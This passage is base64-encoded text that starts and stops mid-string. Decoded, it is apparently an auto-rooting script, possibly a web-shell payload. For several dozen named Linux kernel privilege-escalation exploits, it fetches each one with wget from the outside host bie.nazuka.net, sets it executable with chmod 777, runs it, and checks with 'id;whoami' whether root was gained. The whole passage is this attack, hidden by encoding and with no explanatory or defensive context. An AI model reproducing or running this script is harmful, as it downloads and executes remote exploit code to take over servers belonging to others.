scm9vdC8xLTQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMS00Iik7CnN5c3RlbSgiLi8xLTQiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzEwIik7CnN5c3RlbSgiY2htb2QgNzc3IDEwIik7CnN5c3RlbSgiLi8xMCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMTEiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMTEiKTsKc3lzdGVtKCIuLzExIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8xMiIpOwpzeXN0ZW0oImNobW9kIDc3NyAxMiIpOwpzeXN0ZW0oIi4vMTIiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE0Iik7CnN5c3RlbSgiY2htb2QgNzc3IDE0Iik7CnN5c3RlbSgiLi8xNCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMTUuc2giKTsKc3lzdGVtKCJjaG1vZCA3NzcgMTUuc2giKTsKc3lzdGVtKCIuLzE1LnNoIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8xNTE1MCIpOwpzeXN0ZW0oImNobW9kIDc3NyAxNTE1MCIpOwpzeXN0ZW0oIi4vMTUxNTAiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE1MjAwIik7CnN5c3RlbSgiY2htb2QgNzc3IDE1MjAwIik7CnN5c3RlbSgiLi8xNTIwMCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMTYiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMTYiKTsKc3lzdGVtKCIuLzE2Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8xNi0xIik7CnN5c3RlbSgiY2htb2QgNzc3IDE2LTEiKTsKc3lzdGVtKCIuLzE2LTEiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE4Iik7CnN5c3RlbSgiY2htb2QgNzc3IDE4Iik7CnN5c3RlbSgiLi8xOCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMTgtNSIpOwpzeXN0ZW0oImNobW9kIDc3NyAxOC01Iik7CnN5c3RlbSgiLi8xOC01Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yIik7CnN5c3RlbSgiY2htb2QgNzc3IDIiKTsKc3lzdGVtKCIuLzIiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzItMSIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLTEiKTsKc3lzdGVtKCIuLzItMSIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi02LTktMjAwNSIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLTYtOS0yMDA1Iik7CnN5c3RlbSgiLi8yLTYtOS0yMDA1Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLTYtOS0yMDA2Iik7CnN5c3RlbSgiY2htb2QgNzc3IDItNi05LTIwMDYiKTsKc3lzdGVtKCIuLzItNi05LTIwMDYiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNC4yMS0yMDA2Iik7CnN5c3RlbSgiY2htb2QgNzc3IDItNi05LTIwMDYiKTsKc3lzdGVtKCIuLzItNi05LTIwMDYiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNC4zNi45Mi42LjI3LjUgLSAyMDA4IExvY2FsIHJvb3QiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi40LjM2LjkyLjYuMjcuNSAtIDIwMDggTG9jYWwgcm9vdCIpOwpzeXN0ZW0oIi4vMi40LjM2LjkyLjYuMjcuNSAtIDIwMDggTG9jYWwgcm9vdCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTE2NC0yMDEwIik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0xNjQtMjAxMCIpOwpzeXN0ZW0oIi4vMi42LjE4LTE2NC0yMDEwIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMTgtMTk0Iik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0xOTQiKTsKc3lzdGVtKCIuLzIuNi4xOC0xOTQiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4xOC0xOTQuMS0yMDEwIik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0xOTQuMS0yMDEwIik7CnN5c3RlbSgiLi8yLjYuMTgtMTk0LjEtMjAxMCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTE5NC4yLTIwMTAiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTE5NC4yLTIwMTAiKTsKc3lzdGVtKCIuLzIuNi4xOC0xOTQuMi0yMDEwIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMi1ob29seXNoaXQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjItaG9vbHlzaGl0Iik7CnN5c3RlbSgiLi8yLjYuMi1ob29seXNoaXQiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4yMCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMjAiKTsKc3lzdGVtKCIuLzIuNi4yMCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIwLTIiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjIwLTIiKTsKc3lzdGVtKCIuLzIuNi4yMC0yIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgoKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4yMi0yMDA4Iik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yMi0yMDA4Iik7CnN5c3RlbSgiLi8yLjYuMjItMjAwOCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIyLTYtODZfNjQtMjAwNyIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMjItNi04Nl82NC0yMDA3Iik7CnN5c3RlbSgiLi8yLjYuMjItNi04Nl82NC0yMDA3Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMjMtMi42LjI0Iik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yMy0yLjYuMjQiKTsKc3lzdGVtKCIuLzIuNi4yMy0yLjYuMjQiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4yMy0yLjYuMjRfMiIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMjMtMi42LjI0XzIiKTsKc3lzdGVtKCIuLzIuNi4yMy0yLjYuMjRfMiIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIzLTIuNi4yNyIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMjMtMi42LjI3Iik7CnN5c3RlbSgiLi8yLjYuMjMtMi42LjI3Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMjQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjI0Iik7CnN5c3RlbSgiLi8yLjYuMjQiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4yNy43LWdlbmVyaSIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMjcuNy1nZW5lcmkiKTsKc3lzdGVtKCIuLzIuNi4yNy43LWdlbmVyaSIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjI4LTIwMTEiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjI4LTIwMTEiKTsKc3lzdGVtKCIuLzIuNi4yOC0yMDExIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMzItNDYuMS5CSHNtcCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzItNDYuMS5CSHNtcCIpOwpzeXN0ZW0oIi4vMi42LjMyLTQ2LjEuQkhzbXAiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi41X2hvb2x5c2hpdCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuNV9ob29seXNoaXQiKTsKc3lzdGVtKCIuLzIuNi41X2hvb2x5c2hpdCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjYtMzQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjYtMzQiKTsKc3lzdGVtKCIuLzIuNi42LTM0Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuNi0zNF9oMDBseXNoaXQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjYtMzRfaDAwbHlzaGl0Iik7CnN5c3RlbSgiLi8yLjYuNi0zNF9oMDBseXNoaXQiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi42X2gwMGx5c2hpdCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuNl9oMDBseXNoaXQiKTsKc3lzdGVtKCIuLzIuNi42X2gwMGx5c2hpdCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjdfaDAwbHlzaGl0Iik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi43X2gwMGx5c2hpdCIpOwpzeXN0ZW0oIi4vMi42LjdfaDAwbHlzaGl0Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOC0yMDA4LjktNjctMjAwOCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOC0yMDA4LjktNjctMjAwOCIpOwpzeXN0ZW0oIi4vMi42LjgtMjAwOC45LTY3LTIwMDgiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi44LTVfaDAwbHlzaGl0Iik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi44LTVfaDAwbHlzaGl0Iik7CnN5c3RlbSgiLi8yLjYuOC01X2gwMGx5c2hpdCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjhfaDAwbHlzaGl0Iik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi44X2gwMGx5c2hpdCIpOwpzeXN0ZW0oIi4vMi42LjhfaDAwbHlzaGl0Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOSIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOSIpOwpzeXN0ZW0oIi4vMi42LjkiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi45LTIwMDQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjktMjAwNCIpOwpzeXN0ZW0oIi4vMi42LjktMjAwNCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjktMjAwOCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS0yMDA4Iik7CnN5c3RlbSgiLi8yLjYuOS0yMDA4Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS0zNCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS0zNCIpOwpzeXN0ZW0oIi4vMi42LjktMzQiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi45LTQyLjAuMy5FTHNtcCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS00Mi4wLjMuRUxzbXAiKTsKc3lzdGVtKCIuLzIuNi45LTQyLjAuMy5FTHNtcCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjktNDIuMC4zLkVMc21wLTIwMDYiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjktNDIuMC4zLkVMc21wLTIwMDYiKTsKc3lzdGVtKCIuLzIuNi45LTQyLjAuMy5FTHNtcC0yMDA2Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS01NSIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS01NSIpOwpzeXN0ZW0oIi4vMi42LjktNTUiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi45LTU1LTIwMDctcHJ2OCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS01NS0yMDA3LXBydjgiKTsKc3lzdGVtKCIuLzIuNi45LTU1LTIwMDctcHJ2OCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjktNTUtMjAwOC1wcnY4Iik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi45LTU1LTIwMDgtcHJ2OCIpOwpzeXN0ZW0oIi4vMi42LjktNTUtMjAwOC1wcnY4Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS02NzIwMDgiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjktNjcyMDA4Iik7CnN5c3RlbSgiLi8yLjYuOS02NzIwMDgiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi45LjIiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjkuMiIpOwpzeXN0ZW0oIi4vMi42LjkuMiIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjkxLTIwMDciKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjkxLTIwMDciKTsKc3lzdGVtKCIuLzIuNi45MS0yMDA3Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yMDA3Iik7CnN5c3RlbSgiY2htb2QgNzc3IDIwMDciKTsKc3lzdGVtKCIuLzIwMDciKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIwMDktbG9jYWwiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMjAwOS1sb2NhbCIpOwpzeXN0ZW0oIi4vMjAwOS1sb2NhbCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMjAwOS13dW5kZXJiYXIiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMjAwOS13dW5kZXJiYXIiKTsKc3lzdGVtKCIuLzIwMDktd3VuZGVyYmFyIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yMSIpOwpzeXN0ZW0oImNobW9kIDc3NyAyMSIpOwpzeXN0ZW0oIi4vMjEiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzMiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMyIpOwpzeXN0ZW0oIi4vMyIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMy40LjYtOS0yMDA3Iik7CnN5c3RlbSgiY2htb2QgNzc3IDMuNC42LTktMjAwNyIpOwpzeXN0ZW0oIi4vMy40LjYtOS0yMDA3Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8zMSIpOwpzeXN0ZW0oImNobW9kIDc3NyAzMSIpOwpzeXN0ZW0oIi4vMzEiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzM2LXJjMSIpOwpzeXN0ZW0oImNobW9kIDc3NyAzNi1yYzEiKTsKc3lzdGVtKCIuLzM2LXJjMSIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvNCIpOwpzeXN0ZW0oImNobW9kIDc3NyA0Iik7CnN5c3RlbSgiLi80Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC80NCIpOwpzeXN0ZW0oImNobW9kIDc3NyA0NCIpOwpzeXN0ZW0oIi4vNDQiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzQ3Iik7CnN5c3RlbSgiY2htb2QgNzc3IDQ3Iik7CnN5c3RlbSgiLi80NyIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvNSIpOwpzeXN0ZW0oImNobW9kIDc3NyA1Iik7CnN5c3RlbSgiLi81Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC81MCIpOwpzeXN0ZW0oImNobW9kIDc3NyA1MCIpOwpzeXN0ZW0oIi4vNTAiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzU0Iik7CnN5c3RlbSgiY2htb2QgNzc3IDU0Iik7CnN5c3RlbSgiLi81NCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvNiIpOwpzeXN0ZW0oImNobW9kIDc3NyA2Iik7CnN5c3RlbSgiLi82Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC82NyIpOwpzeXN0ZW0oImNobW9kIDc3NyA2NyIpOwpzeXN0ZW0oIi4vNjciKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzciKTsKc3lzdGVtKCJjaG1vZCA3NzcgNyIpOwpzeXN0ZW0oIi4vNyIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvNy0yIik7CnN5c3RlbSgiY2htb2QgNzc3IDctMiIpOwpzeXN0ZW0oIi4vNy0yIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC83eCIpOwpzeXN0ZW0oImNobW9kIDc3NyA3eCIpOwpzeXN0ZW0oIi4vN3giKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzgiKTsKc3lzdGVtKCJjaG1vZCA3NzcgOCIpOwpzeXN0ZW0oIi4vOCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvOSIpOwpzeXN0ZW0oImNobW9kIDc3NyA5Iik7CnN5c3RlbSgiLi85Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC85MCIpOwpzeXN0ZW0oImNobW9kIDc3NyA5MCIpOwpzeXN0ZW0oIi4vOTAiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290Lzk0Iik7CnN5c3RlbSgiY2htb2QgNzc3IDk0Iik7CnN5c3RlbSgiLi85NCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvTGludXhfMi42LjEyIik7CnN5c3RlbSgiY2htb2QgNzc3IExpbnV4XzIuNi4xMiIpOwpzeXN0ZW0oIi4vTGludXhfMi42LjEyIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9MaW51eF8yLjYuOS1qb29seXNoaXQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgTGludXhfMi42Ljktam9vbHlzaGl0Iik7CnN5c3RlbSgiLi8yLjYuMTgtMjAxMSIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvYWNpZCIpOwpzeXN0ZW0oImNobW9kIDc3NyBhY2lkIik7CnN5c3RlbSgiLi9hY2lkIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9kM3ZpbCIpOwpzeXN0ZW0oImNobW9kIDc3NyBkM3ZpbCIpOwpzeXN0ZW0oIi4vZDN2aWwiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2V4cDEiKTsKc3lzdGVtKCJjaG1vZCA3NzcgZXhwMSIpOwpzeXN0ZW0oIi4vZXhwMSIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvZXhwMiIpOwpzeXN0ZW0oImNobW9kIDc3NyBleHAyIik7CnN5c3RlbSgiLi9leHAyIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9leHAzIik7CnN5c3RlbSgiY2htb2QgNzc3IGV4cDMiKTsKc3lzdGVtKCIuL2V4cDMiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2V4cGxvaXQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgZXhwbG9pdCIpOwpzeXN0ZW0oIi4vZXhwbG9pdCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvZnVsbC1uZWxzb24iKTsKc3lzdGVtKCJjaG1vZCA3NzcgZnVsbC1uZWxzb24iKTsKc3lzdGVtKCIuL2Z1bGwtbmVsc29uIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9nYXlyb3MiKTsKc3lzdGVtKCJjaG1vZCA3NzcgZ2F5cm9zIik7CnN5c3RlbSgiLi9nYXlyb3MiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2xlbmlzLnNoIik7CnN5c3RlbSgiY2htb2QgNzc3IGxlbmlzLnNoIik7CnN5c3RlbSgiLi9sZW5pcy5zaCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthL